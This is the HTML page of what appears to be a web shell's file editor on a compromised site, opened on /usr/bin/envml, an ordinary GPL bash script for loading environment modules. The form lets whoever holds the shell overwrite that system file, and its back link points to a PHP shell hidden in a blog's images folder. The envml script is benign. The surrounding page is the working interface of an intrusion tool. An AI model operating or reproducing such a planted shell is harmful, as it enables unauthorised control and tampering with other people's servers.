<h2>Edit File - envml</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/bin/envml">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/bin/bash
#
# ENVML, setup environment with module then run specified command 
# Copyright (C) 2015 CEA/DAM
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.

##########################################################################


typeset progpath=$0
typeset prog=${progpath##*/}
typeset arg
typeset subarg
typeset kind_of_arg=&#039;mod&#039;
typeset -a modarglist=()
typeset -a maymodarglist=()
typeset -a maycmdarglist=()
typeset -a cmdarglist=()


# print message on stderr then exit
echo_error() {
    echo &quot;$prog: $1&quot; &gt;&amp;2
    exit 1
}

arg_into_modaction() {
    # split module action from its argument
    local action=&quot;${1/=/ }&quot;
    # split multiple arguments
    if [ &quot;${action//;/ }&quot; == &quot;${action}&quot; ]; then
        action=&quot;${action//&amp;/ }&quot;
    else
        # enable arg split over &#039;;&#039; to enable same behavior than envml.cmd
        action=&quot;${action//;/ }&quot;
    fi

    case &quot;$action&quot; in
        purge*|restore*|unload*|switch*|load*) echo &quot;$action&quot;  ;;
        *) echo &quot;load $action&quot; ;;        
    esac
}

# print usage message
echo_usage() {
    echo &quot;Usage: $progpath [MODULE_ACTION]... [--] COMMAND [ARG]...
Run MODULE_ACTION(s) to setup environment then run COMMAND.

Syntax of supported MODULE_ACTIONs:
  purge                  unload all loaded modulefiles
  restore[=coll]         restore module list from collection named coll or
                         default collection if no collection name provided
  unload=mod1[&amp;mod2...]  remove modulefile(s) mod1, (mod2...)
  switch=mod1&amp;mod2       unload modulefile mod1 and load mod2
  [load=]mod1[&amp;mod2...]  load modulefile(s) mod1, (mod2...)

Multiple MODULE_ACTION arguments can be specified as one argument by
separating them with a colon character (:).

To clearly separate command-line arguments from the module action arguments
a &#039;--&#039; argument can be used. Without this &#039;--&#039; separator, first argument is
considered module action and following arguments are part of command-line.

Examples:
  $progpath restore command arg1 arg2
  $progpath purge:mod1:mod2 command arg1 arg2
  $progpath restore load=mod1&amp;mod2 -- command arg1 arg2&quot;
}

# command help is asked
if [ $# -eq 0 -o &quot;$1&quot; == &#039;-h&#039; -o &quot;$1&quot; == &#039;--help&#039; ]; then
    echo_usage
    exit 0
fi

# parse arguments
for arg in ${@}; do
    # reach separator, everything after is part of cmd
    if [ &quot;$arg&quot; == &#039;--&#039; ]; then
        kind_of_arg=&#039;cmd&#039;
    else
        if [ &quot;$kind_of_arg&quot; == &#039;cmd&#039; ]; then
            cmdarglist+=(&quot;$arg&quot;)
        else
            for subarg in ${arg//:/ }; do
                if [ &quot;$kind_of_arg&quot; == &#039;mod&#039; ]; then
                    modarglist+=(&quot;$(arg_into_modaction ${subarg})&quot;)
                else
                    maymodarglist+=(&quot;$(arg_into_modaction ${subarg})&quot;)
                    maycmdarglist+=(&quot;$subarg&quot;)
                fi
            done

            # after first arg, we are not sure
            # following args are about module env
            if [ &quot;$kind_of_arg&quot; == &#039;mod&#039; ]; then
                kind_of_arg=&#039;maymod&#039;
            fi
        fi
    fi
done

# if a cmd separator has been found what we thought
# to be module-related is really module-related
if [ &quot;$kind_of_arg&quot; == &#039;cmd&#039; ]; then
    modarglist+=(&quot;${maymodarglist[@]}&quot;)
# elsewhere what we thought to be module-related
# is in fact command-line related
else
    cmdarglist=(&quot;${maycmdarglist[@]}&quot; &quot;${cmdarglist[@]}&quot;)
fi


# check module function is defined
if ! typeset -F module &gt;/dev/null; then
    echo_error &quot;module command not found...&quot;
fi

for arg in &quot;${modarglist[@]}&quot;; do
    module ${arg}
done

# now execute the real command with its interpreter
exec ${cmdarglist[*]}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>